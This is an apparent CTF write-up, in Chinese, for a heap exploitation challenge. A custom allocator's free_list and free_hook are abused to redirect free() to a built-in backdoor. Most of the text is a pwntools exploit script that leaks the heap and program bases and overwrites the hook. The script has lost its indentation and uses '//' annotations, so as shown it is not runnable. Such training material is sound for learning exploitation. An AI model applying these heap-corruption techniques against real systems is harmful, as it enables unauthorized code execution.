自定义的堆区,malloc和free以及bin链表都是自己定义的。

image-20240319220746058

每次malloc和free之前都会判断图上malloc_hook和free_hook值是否为空,如果不为空,则跳转执行。

image-20240319220929346

image-20240319221034305

第一部分是程序已经malloc的,保存着后门函数。所以可以将bss段malloc_hook和free_hook内容填充为第一部分data地址,这样free_hook实际上就指向的是后门函数。

image-20240319221700606

heap_listp+8处保存着free_list链表指针。是根据遍历这个链表找到合适堆块,如果大小合适就会分配出去。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28699)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,size,content):
rl(">>> ")
sl('1')
rl("show me plz!\n")
sl(str(index))
rl("size\n")
sl(str(size))
sleep(0.5)
sl(content)
def edit(index,content):
rl(">>> ")
sl('2')
rl("which suggestion?\n")
sl(str(index))
sleep(0.5)
sl(content)
def show(index):
rl(">>> ")
sl('3')
rl("maybe u want hack me\n")
sl(str(index))
def delete(index):
rl(">>> ")
sl('4')
rl("don't lie to me!!!\n")
sl(str(index))
gdb.attach(p)

add(0,0x10,'aaaa')
add(1,0x10,'aaaa')

delete(1)
delete(0)


show(0)
heap_leak = uu64()
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x370
lg("heap_base",heap_base)//泄露堆基地址

edit(0,p64(heap_base+0x2a0))//堆区中保存着后门函数的地址,将保存后门函数地址的堆块加入到free_list链表中
add(2,0x70,'a'*0x7)//申请此堆块便于泄露

show(2)
rl('\x0a')
backdoor = uu64()
base = backdoor-elf.sym['backdoor']
lg("backdoor",backdoor)
lg("base_addr",base)//泄露程序基地址

add(6,0x41,'aaaa')//在bss段布置free_hook的堆块

edit(0,p64(base+0x4140))//将bss段free_hook部分堆块加入到free_list链表中。

add(7,0x30,p64(0)*4+p64(heap_base+0x2a8)*2)//遍历链表如果有大小合适的就会分配出去,分配到free_hook堆块修改地址为保存后门函数的地址

delete(2)

inter()